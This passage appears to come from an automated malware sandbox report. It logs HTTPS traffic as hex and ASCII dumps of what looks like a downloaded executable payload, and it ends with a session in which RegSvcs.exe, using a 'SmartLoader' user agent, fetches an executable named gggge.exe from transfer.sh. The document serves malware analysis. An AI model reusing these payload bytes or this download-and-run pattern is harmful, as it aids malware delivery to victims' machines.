bd 04 24 ca e6 f6 27 fa 45 e7 1c 7c 2e 7f a0 3d 08 58 be 91 cb Data Ascii: 2000"vj`hprN*ou@!3"6!cGB<e,W]P}_-98j,4YvKfJq:l#SX^,Rm&2<cdX'6H-pKT;;8{]JM.og;KdCCzBl72.<,?WT=0n4!5O9SKp'SI$'E\|.=X
2023-03-24 00:26:57 UTC	424	IN	Data Raw: cb f2 f6 38 42 eb Data Ascii: 8B
2023-03-24 00:26:57 UTC	424	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	424	IN	Data Raw: 32 30 30 30 0d 0a 1e e0 01 80 5e 93 2a 48 14 eb 99 8b e9 e8 04 8c c7 2d 50 75 22 8b 10 f2 eb ad 68 eb 5e 8d 74 84 29 33 73 94 80 aa 3e 05 16 ff 24 b0 4e dc 99 95 09 97 dc ab d1 38 c9 70 b9 79 09 e1 a7 7b 37 9b e9 d8 3d 3e 11 b6 5a ae 3e df ff 2d b0 07 75 a4 ff 5d eb e3 5d a0 b4 81 c8 77 fe 8f d8 37 cf c8 4b ec 95 6f 8d 4d 4b 5c 07 18 74 f3 d4 b5 cf 66 92 86 76 d9 c9 71 c6 61 01 99 b1 28 59 c1 99 5d 31 e1 bb 34 19 f0 f4 63 cd af 9e 4d 60 f5 95 78 c8 3a 2b d9 3c 41 4e 87 53 bc d4 11 d7 bf 0d 95 85 e7 01 7f bd 38 fb 68 74 5b f1 8c e1 fd 2e 9a a9 a3 90 9d 7a 23 ff d2 bb c4 17 a7 c0 1f 5b c9 67 88 ef b6 50 0b 7f 31 7b cd 22 a0 d4 64 9e 1f e1 a1 b4 70 e8 1e 0e a4 45 4c 05 f0 af b9 51 94 1e 69 48 da 59 dd aa 2f 38 79 a2 d6 47 fa c0 1c a5 a5 f3 06 dd 00 79 30 7f Data Ascii: 2000^*H-Pu"h^t)3s>$N8py{7=>Z>-u]]w7KoMK\tfvqa(Y]14cM`x:+<ANS8ht[.z#[gP1{"dpELQiHY/8yGy0
2023-03-24 00:26:57 UTC	432	IN	Data Raw: 57 1b c2 38 47 e9 Data Ascii: W8G
2023-03-24 00:26:57 UTC	432	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	432	IN	Data Raw: 32 30 30 30 0d 0a 5d bc a2 cb 58 f3 8c 28 6c 4e ea 3f f2 06 bf 2e 59 d5 da 8e 80 f6 50 b7 31 ce a2 48 2f 67 86 ab 12 41 7a 34 c1 2e 89 c0 56 b3 d5 aa ce 76 6a 3f fb a8 fe 4d 88 b0 5d 9a 56 c1 f0 e2 de 00 29 7e e0 57 35 54 ed e2 a8 d6 cc 28 4c 6e 2c b1 ef d6 50 b4 f2 5a 19 a5 27 0b af b8 f3 e6 24 b0 3e 6b 32 84 a0 ee 35 0c be 7c 4c 57 ec 3d 6b aa 4a 37 aa 58 76 ab 06 28 ed df 04 68 43 9d f3 7f af 76 ee 27 e8 d8 77 4a d4 e8 50 9c 29 1b d7 1d f9 da f5 fa 9f f2 08 6e d3 a8 81 77 28 c4 b9 3f 22 0d e7 86 25 9d 9e 3f 17 f9 27 20 4c cb 77 23 4a 34 2c d7 c0 7a d1 41 b2 5f c4 d4 32 20 29 7d c8 02 3d 6a 0b 4f 55 78 9a d5 78 75 42 1e d8 d9 54 b3 b7 04 fd ab d9 2a 7c 7b 44 04 ef d9 98 4e 62 ce 3c 07 e6 a4 9d 24 11 73 a7 9a 28 21 7c 33 38 97 37 2a e6 b3 b2 61 43 b4 d3 Data Ascii: 2000]X(lN?.YP1H/gAz4.Vvj?M]V)~W5T(Ln,PZ'$>k25\|LW=kJ7Xv(hCv'wJP)nw(?"%?' Lw#J4,zA_2 )}=jOUxxuBT\|{DNb<$s(!\|387aC
2023-03-24 00:26:57 UTC	440	IN	Data Raw: 29 f6 04 59 be a8 Data Ascii: )Y
2023-03-24 00:26:57 UTC	440	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	440	IN	Data Raw: 31 66 66 38 0d 0a d5 bc fa bb e3 df 31 64 e5 90 76 d9 cd 93 44 1b a7 a7 15 cc c5 c8 a1 61 95 a4 4b eb 0e c4 df 72 b6 99 2a 38 4b eb aa 14 08 25 13 4a aa dd 50 a9 70 38 f2 cf d6 0f f5 c1 f4 d6 c7 45 f8 98 61 b3 c0 03 d8 86 c3 f8 6b 67 c3 c7 5e f4 46 61 49 34 99 b9 5e ec 00 4c 1b a9 43 e2 5a 5b 9b b8 d8 6e 2c 64 e0 a2 9b 4c 73 21 f5 76 5a 71 64 e4 4c 2b 96 56 cf 23 ec 1d d7 ca 82 9d 42 96 85 1b a8 10 77 0d 35 68 fb b6 b3 47 5e 02 4d 85 be 34 6d 0a 11 82 16 aa e5 f8 e3 b4 2c e0 03 20 05 10 6c df 9c de 70 6b 53 39 7f 5d f7 fa 5f e9 15 57 7d ba 3c 76 45 22 21 71 2c 66 40 34 c9 a2 ae 8d 81 07 6a 9e 5a e4 d4 52 9b 00 ca 06 a8 04 0d 4f c9 16 1d 28 3e 4c fa c7 d4 28 83 cb 86 57 b4 37 f7 f8 fc d8 4e c9 0d 45 25 ce 3d ad 66 50 4c ad 5d 7e 92 70 c9 bf 9f f5 96 54 f2 Data Ascii: 1ff81dvDaKr*8K%JPp8Eakg^FaI4^LCZ[n,dLs!vZqdL+V#Bw5hG^M4m, lpkS9]_W}<vE"!q,f@4jZRO(>L(W7NE%=fPL]~pT
2023-03-24 00:26:57 UTC	448	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	448	IN	Data Raw: 43 a4 c8 72 9d 15 c4 e0 b1 4c 69 5c ab fd 33 ee f2 08 15 15 fe 51 78 5d a7 63 b2 6d 8f a9 a8 cc fa bc 5f 5c 64 37 f4 74 60 e9 97 04 8e e7 bd 57 07 8c 8f f8 67 6d 08 95 54 18 66 9c 23 9d 8c 16 24 15 9f 69 c6 cb 80 7b 8f 5e 2e 26 9a cd 67 04 f3 1a 17 31 18 a6 88 bb 4f 7b b6 7f 84 0b 94 97 f9 15 bb 37 42 51 c1 83 2a c8 f0 df b8 4f f1 63 8a 40 5f fa 85 a8 b0 8e 19 b4 89 df 6f 9a f7 13 d8 64 3f be ac d2 05 99 0c 9c ec 92 f9 74 57 a2 59 64 b8 d4 c8 e6 a3 7f 0d 2b 6b b3 2c 78 ee 6b 2e 2e 4a 61 69 a4 0e 9b 3e 94 f0 f0 a7 38 76 37 94 b6 ea 55 f2 3d b4 99 97 e0 df ca e5 1d 3a ae 41 4b 30 53 2d 13 ff c3 8c 93 0c 95 3d 00 92 7b 91 3e ad 68 60 b8 95 35 86 7f 53 e2 75 c1 a7 5c 3d 49 65 5c b6 12 cd bf 22 d7 b5 f8 7b 66 c7 65 2e df 7e a7 d9 87 a2 a0 08 c0 a4 c5 42 fa da Data Ascii: CrLi\3Qx]cm_\d7t`WgmTf#$i{^.&g1O{7BQ*Oc@_od?tWYd+k,xk..Jai>8v7U=:AK0S-={>h`5Su\=Ie\"{fe.~B
2023-03-24 00:26:57 UTC	456	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	456	IN	Data Raw: 32 30 30 30 0d 0a 04 3d cf 47 6d 9c 09 2e 0b 4c 25 60 7f ab 94 94 87 4e be 59 c9 5a 5f 54 02 db 96 11 18 6b bc 69 e6 ba be 71 b6 27 04 72 3b aa 58 87 d8 4e ee 5f 07 ef 19 8a 9d ce 36 bf 2c 44 33 50 1c 12 6d 99 b8 52 2a 83 f0 e4 24 92 e2 0b 81 25 5a be 9b f9 2e 58 d7 48 45 0d 39 18 61 97 e1 f1 10 60 34 76 e4 cd c9 a0 d4 44 f7 36 5f 10 79 0b ef 0f f4 43 a4 fd 14 4b bc 41 11 f1 77 f9 71 ea 24 77 df 07 8e 6e ab e8 97 f8 39 fb ea 86 51 7c 74 40 75 08 1d f8 d2 a2 26 82 5d 52 66 0e 20 2f 38 48 34 5d a4 01 31 f8 67 c1 c9 46 a0 69 10 86 3a 9b 06 27 d9 04 7e fc 41 63 9d ef ea c9 5e 60 39 df d3 b4 df cb 05 2d d3 1d 5a 2d 76 5e e5 64 50 b7 d2 23 3b ea 91 62 cc 80 67 95 4d 05 cd da f6 83 ed 41 39 d5 ef 20 fd f5 8f b1 1e 7e 40 f7 18 6f cd 17 22 64 f1 1b cd bf 03 20 93 Data Ascii: 2000=Gm.L%`NYZ_Tkiq'r;XN_6,D3PmR*$%Z.XHE9a`4vD6_yCKAwq$wn9Q\|t@u&]Rf /8H4]1gFi:'~Ac^`9-Z-v^dP#;bgMA9 ~@o"d
2023-03-24 00:26:57 UTC	464	IN	Data Raw: 79 0d 82 56 8e 6d Data Ascii: yVm
2023-03-24 00:26:57 UTC	464	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	464	IN	Data Raw: 32 30 30 30 0d 0a 15 6b c3 81 33 24 13 d6 43 aa 63 1d ff ee 11 99 7c 4f c6 0d 5d b8 52 6a dc 5a 64 db aa 9f 99 8b 53 fb 24 76 86 f8 e3 e5 bb 6f 5b 44 3c c1 d8 7f 95 41 95 b9 6e c9 93 93 26 f2 fe 49 33 53 2c 5d 92 d9 52 9b c8 35 eb 87 51 0d ad 4b 48 a0 c0 b4 af 01 17 1a b9 b0 70 f2 e7 fb 42 cc 32 72 f2 dc cf 4c 7e 79 46 b6 21 e8 e1 15 76 aa 95 d9 44 52 d7 3e e6 9d 5e cc a3 fc a6 3e 96 aa 8a c7 44 5f 2b 7a 2f cf d0 43 4b 58 ea 6b 81 77 bd ef b9 87 83 b2 63 ce 0a d6 b9 28 79 69 b2 d7 65 a5 32 72 48 73 e7 8c b3 17 fb 3e c2 d8 a4 fc a5 6b d9 42 fc ef 9d 3b 0e 0e 5e 00 4f 40 5c 51 d6 7b cd ee 78 06 a1 5c a6 1e 62 84 6b 34 af 76 c3 c8 b3 9b 84 68 2f cc a7 c7 2e 6b e1 58 27 54 0b e9 69 61 d5 51 92 d0 48 21 e7 7b d6 e3 d0 c4 c8 23 b1 86 78 a4 b7 93 c9 5a 1b f8 49 Data Ascii: 2000k3$Cc\|O]RjZdS$vo[D<An&I3S,]R5QKHpB2rL~yF!vDR>^>D_+z/CKXkwc(yie2rHs>kB;^O@\Q{x\bk4vh/.kX'TiaQH!{#xZI
2023-03-24 00:26:57 UTC	472	IN	Data Raw: ae 54 31 12 8a 90 Data Ascii: T1
2023-03-24 00:26:57 UTC	472	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	472	IN	Data Raw: 32 30 30 30 0d 0a d0 35 73 67 a1 c6 ce 40 9d a1 35 a6 79 13 30 91 46 b6 38 ec 16 de ce ff c5 bb 5a b3 94 15 56 f3 b0 2a 90 36 10 ec 6e 2e 30 4e ad ad 08 c8 9a a1 fb 00 41 82 50 48 3e 5c f0 69 47 8b de 4b 45 21 33 f0 81 f1 73 b9 12 aa 4f 2b bc e0 26 43 c1 5c 4e 17 2f c9 e2 db 6b e1 ca 4e 58 6a ce 2e 8d b8 bc d2 71 af 0e cd 8b e6 8a 2e 09 3f 6d 98 88 ea 6d b6 46 51 ac ce 7b 3e a1 57 dd 53 1b 53 0e 76 fa ad 93 25 65 32 38 39 6f b3 eb 3c 2f b4 7f d5 5b af c6 3e e6 1d 20 11 7e ff 7a 72 be ba 43 74 79 78 ab 30 d2 4f f1 c5 cb f9 60 36 1b 1e 39 b2 77 a4 0c 4d 70 0d e2 eb 9d e5 8e 9a b4 65 61 71 00 f3 34 8d 6e 20 f7 9e 7a 38 67 50 49 c5 5d e1 3c 58 23 26 d3 1e 6b eb 2d e0 17 d6 8c 8c 25 f8 f2 a2 b5 be 85 c4 83 9b 13 9b 65 f0 5e 46 4a e4 b7 38 be 8d e2 96 a8 41 3c Data Ascii: 20005sg@5y0F8ZV*6n.0NAPH>\iGKE!3sO+&C\N/kNXj.q.?mmFQ{>WSSv%e289o</[> ~zrCtyx0O`69wMpeaq4n z8gPI]<X#&k-%e^FJ8A<
2023-03-24 00:26:57 UTC	480	IN	Data Raw: 3f 21 72 df 37 07 Data Ascii: ?!r7
2023-03-24 00:26:57 UTC	480	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	480	IN	Data Raw: 32 30 30 30 0d 0a b5 d5 c0 9c e2 e8 4a 03 d1 1b 81 37 29 b3 7d 09 82 55 76 8b 40 1b 47 6f 4a 6d 12 ec 1b c8 f0 c3 f1 e2 9c 46 0f c1 ab fe 53 0e c9 b7 17 4b 3d 83 c4 f7 09 02 cb 95 71 54 4a a5 09 2f 72 43 18 94 59 18 03 17 57 c8 64 ac 9a d1 68 7d 07 2c 2c bb 7e 79 0c df d9 ed 70 3b a1 a7 03 1e cf 39 50 f1 f0 82 f8 a0 14 56 f6 3f e2 7a fb e1 f0 4d 8e a7 b3 31 a4 e4 12 c1 41 26 0e eb 7f e7 ea af c0 03 aa c8 fd 6c 45 ad b7 83 6b 65 b6 54 66 92 44 7a ab f1 86 08 31 f0 0b db 68 d2 93 bb 4c ec 0d 4a ca 52 f1 cc b5 2a 5e 8f c4 e6 79 83 5c d2 1e 3f d0 41 bb 27 fc 6a 1d ff b1 c0 c2 eb 61 5b 73 d9 49 7c 99 97 33 9d 6e bd 14 e7 b0 cd 4f 73 f1 c0 a3 85 4a bb 54 32 93 ce e7 89 ab 9a 43 a0 31 1a df 7d 6e e4 83 17 3c 01 af da e9 ae 00 e0 f5 05 f1 df 16 68 d4 58 d4 40 f4 Data Ascii: 2000J7)}Uv@GoJmFSK=qTJ/rCYWdh},,~yp;9PV?zM1A&lEkeTfDz1hLJR*^y\?A'ja[sI\|3nOsJT2C1}n<hX@
2023-03-24 00:26:57 UTC	488	IN	Data Raw: dc f8 ff 59 c3 b9 Data Ascii: Y
2023-03-24 00:26:57 UTC	488	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	488	IN	Data Raw: 32 30 30 30 0d 0a 9c ff 47 00 e8 9b c8 f8 ff 68 fd ab 47 00 e8 f7 db f8 ff 59 c3 68 07 ac 47 00 e8 eb db f8 ff 59 c3 b9 e0 fe 47 00 e9 ed 9a f8 ff b9 50 ff 47 00 e9 a0 c8 f8 ff b9 9c ff 47 00 e9 96 c8 f8 ff b9 9d ff 47 00 e9 cf cd f8 ff c7 05 a4 ff 47 00 a4 12 40 00 b9 a4 ff 47 00 e9 25 d1 f8 ff cc cc cc ff ff ff ff a0 a7 47 00 22 05 93 19 01 00 00 00 28 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c3 a7 47 00 22 05 93 19 01 00 00 00 54 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff e6 a7 47 00 00 00 00 00 ee a7 47 00 22 05 93 19 02 00 00 00 80 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 14 a8 47 00 00 00 00 00 1c Data Ascii: 2000GhGYhGYGPGGGG@G%G"(GG"TGGG"GG
2023-03-24 00:26:57 UTC	496	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-03-24 00:26:57 UTC	496	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	496	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
2023-03-24 00:26:57 UTC	504	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-03-24 00:26:57 UTC	504	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	504	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8
2023-03-24 00:26:57 UTC	512	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	512	IN	Data Raw: 79 83 7e 00 81 7f 82 00 83 7c 7f 00 7e 84 81 00 81 81 82 00 80 82 80 00 86 81 80 00 7a 7d 83 00 83 7f 7c 00 7d 84 81 00 83 7d 79 00 81 7a 80 00 7b 7f 79 00 7f 7e 7c 00 82 7b 7b 00 7d 82 7e 00 7d 83 82 00 80 7d 7b 00 80 7f 84 00 7c 7f 82 00 82 7b 82 00 81 7d 85 00 79 7d 7a 00 7a 83 82 00 7a 83 7f 00 7b 7e 81 00 7f 7a 7c 00 84 7a 7e 00 7a 81 7c 00 84 82 7d 00 7d 7c 81 00 81 81 84 00 7a 81 7b 00 83 83 7e 00 84 7d 80 00 7f 7c 82 00 7a 80 81 00 82 80 7e 00 82 81 82 00 7f 84 81 00 7f 84 7d 00 7e 7e 7c 00 7d 7f 80 00 7f 7f 7e 00 7e 7c 7a 00 7c 85 7c 00 80 7d 85 00 84 84 80 00 81 7b 82 00 7b 7e 7b 00 83 83 7e 00 7f 7b 80 00 80 80 7e 00 84 7c 83 00 84 7c 7d 00 80 82 81 00 83 7b 82 00 84 7e 7e 00 81 7d 7f 00 82 84 81 00 82 82 83 00 83 84 7c 00 83 82 7f 00 84 80 80 Data Ascii: y~\|~z}\|}}yz{y~\|{{}~}}{\|{}y}zzz{~z\|z~z\|}}\|z{~}\|z~}~~\|}~~\|z\|\|}{{~{~{~\|\|}{~~}\|
2023-03-24 00:26:57 UTC	520	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	520	IN	Data Raw: 32 30 30 30 0d 0a 85 81 85 7f 7c 7d 7d 80 7c 7c 7f 7d 86 81 82 7b 80 7e 80 82 7e 82 83 83 82 7e 7e 7b 7e 82 83 83 84 7e 86 7e 83 7d 7a 84 82 7c 82 85 82 81 7c 7e 81 7e 7f 7b 82 83 7c 7a 80 7b 83 7e 7c 7c 7b 7e 80 80 7f 7f 82 81 81 84 85 80 7c 82 7d 7c 7f 81 81 81 7e 7e 80 7b 80 85 7d 7c 81 7b 85 83 7b 7f 7e 80 7d 7e 79 7f 81 7f 7f 7e 80 7b 7c 84 7f 82 7a 80 85 80 83 7b 7b 7b 7c 7f 7d 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7d 7f 81 83 80 81 84 80 7e 7c 81 7c 82 85 7b 7f 85 83 7e 84 7f 7f 82 7f 7f 83 7e 7f 7d 81 7e 80 7a 81 80 7b 7b 7b 7d 7f 7e 80 82 7d 85 7c 84 81 7d 83 7e 7f 7d 80 83 84 7c 7f 7f 7b 86 7b 82 7b 7a 7e 7e 80 7c 83 84 7f 80 84 82 81 7f 7f 84 7b 82 80 7e 7e 7e 81 81 84 85 7b 7d 7f 82 81 84 83 7b 83 85 83 Data Ascii: 2000\|}}\|\|}{~~~~{~~~}z\|\|~~{\|z{~\|\|{~\|}\|~~{}\|{{~}~y~{\|z{{{\|}}}~\|\|{~~}~z{{{}~}\|}~}\|{{{z~~\|{~~~{}{
2023-03-24 00:26:57 UTC	528	IN	Data Raw: 7b 80 83 83 7b 82 Data Ascii: {{
2023-03-24 00:26:57 UTC	528	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	528	IN	Data Raw: 32 30 30 30 0d 0a 80 84 80 83 81 7f 7d 7f 81 7e 7d 80 7d 84 7e 7f 7a 81 82 7b 82 84 7f 85 85 85 81 81 7c 7e 84 7c 80 7d 7e 7f 82 81 84 85 83 7d 80 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 85 7b 81 83 83 7d 7f 84 7f 80 7c 7e 82 82 7e 7e 7b 7f 7e 82 82 86 82 7c 7d 85 80 7f 7f 83 79 7d 84 81 7b 7f 7d 7f 82 7b 86 81 84 84 7a 80 83 7a 85 80 7f 83 85 7f 82 80 7f 83 7b 85 7e 7d 80 80 7e 7e 83 7f 7d 83 7d 7d 7d 82 7d 7c 7e 83 83 7e 83 83 81 7b 7b 7b 7c 81 82 7c 80 7e 7b 83 7f 7a 7f 7e 7d 80 7e 80 80 85 83 81 85 80 84 83 83 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 82 7e 81 7b 7d 86 7e 7b 7c 82 82 7a 83 7c 81 82 7e 81 7f 7c 7b 82 7c 83 7e 80 85 7e 84 80 84 85 83 7c 7f 84 85 85 7b 85 83 7f 86 82 80 7b 84 86 7c 7a 7f 80 7e 81 7e 7f 81 81 80 83 7e Data Ascii: 2000}~}}~z{\|~\|}~}{}\|~~~{~\|}y}{}{zz{~}~~}}}}}\|~~{{{\|\|~{z~}~~{}~{\|z\|~\|{\|~~\|{{\|z~~~
2023-03-24 00:26:57 UTC	536	IN	Data Raw: cf 00 88 00 f0 00 Data Ascii:
2023-03-24 00:26:57 UTC	536	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	536	IN	Data Raw: 32 30 30 30 0d 0a 99 11 ff 00 a6 31 ff 00 b4 51 ff 00 c2 71 ff 00 cf 91 ff 00 dc b1 ff 00 eb d1 ff 00 ff ff ff 00 00 00 00 00 08 00 2f 00 0e 00 50 00 15 00 70 00 1b 00 90 00 21 00 b0 00 26 00 cf 00 2c 00 f0 00 3e 11 ff 00 58 31 ff 00 71 51 ff 00 8c 71 ff 00 a6 91 ff 00 bf b1 ff 00 da d1 ff 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 69 69 69 69 69 69 69 00 00 00 00 00 00 69 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: 20001Qq/Pp!&,>X1qQqiiiiiiiiiiiii
2023-03-24 00:26:57 UTC	544	IN	Data Raw: 6a 00 75 00 76 00 Data Ascii: juv
2023-03-24 00:26:57 UTC	544	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	544	IN	Data Raw: 32 30 30 30 0d 0a 69 00 78 00 20 00 7a 00 75 00 70 00 75 00 73 00 65 00 62 00 65 00 70 00 6f 00 79 00 69 00 78 00 65 00 20 00 76 00 61 00 77 00 61 00 67 00 61 00 76 00 6f 00 74 00 6f 00 7a 00 61 00 6b 00 6f 00 20 00 78 00 6f 00 68 00 65 00 78 00 75 00 20 00 66 00 75 00 64 00 6f 00 6e 00 65 00 6b 00 6f 00 64 00 6f 00 6e 00 61 00 20 00 73 00 69 00 67 00 6f 00 6d 00 69 00 6b 00 61 00 70 00 75 00 78 00 75 00 74 00 20 00 64 00 61 00 76 00 6f 00 64 00 61 00 51 00 48 00 61 00 63 00 65 00 6c 00 69 00 73 00 20 00 6a 00 6f 00 62 00 61 00 20 00 64 00 61 00 79 00 6f 00 70 00 65 00 6a 00 20 00 64 00 75 00 67 00 65 00 67 00 69 00 63 00 75 00 6b 00 69 00 68 00 6f 00 64 00 75 00 63 00 20 00 7a 00 61 00 73 00 61 00 72 00 61 00 6e 00 65 00 6a 00 75 00 63 00 69 00 74 00 20 Data Ascii: 2000ix zupusebepoyixe vawagavotozako xohexu fudonekodona sigomikapuxut davodaQHacelis joba dayopej dugegicukihoduc zasaranejucit
2023-03-24 00:26:57 UTC	552	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-03-24 00:26:57 UTC	552	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	552	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-03-24 00:26:57 UTC	560	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-03-24 00:26:57 UTC	560	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	560	IN	Data Raw: 32 34 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 240

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49733	144.76.136.153	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-24 00:27:18 UTC	561	OUT	GET /get/yAEPpl/gggge.exe HTTP/1.1 User-Agent: SmartLoader Host: transfer.sh Connection: Keep-Alive
2023-03-24 00:27:19 UTC	561	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 24 Mar 2023 00:27:19 GMT Content-Type: application/x-ms-dos-executable Content-Length: 1761013 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="gggge.exe" Retry-After: Fri, 24 Mar 2023 01:27:24 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.40,84.17.52.40 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1679617644 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
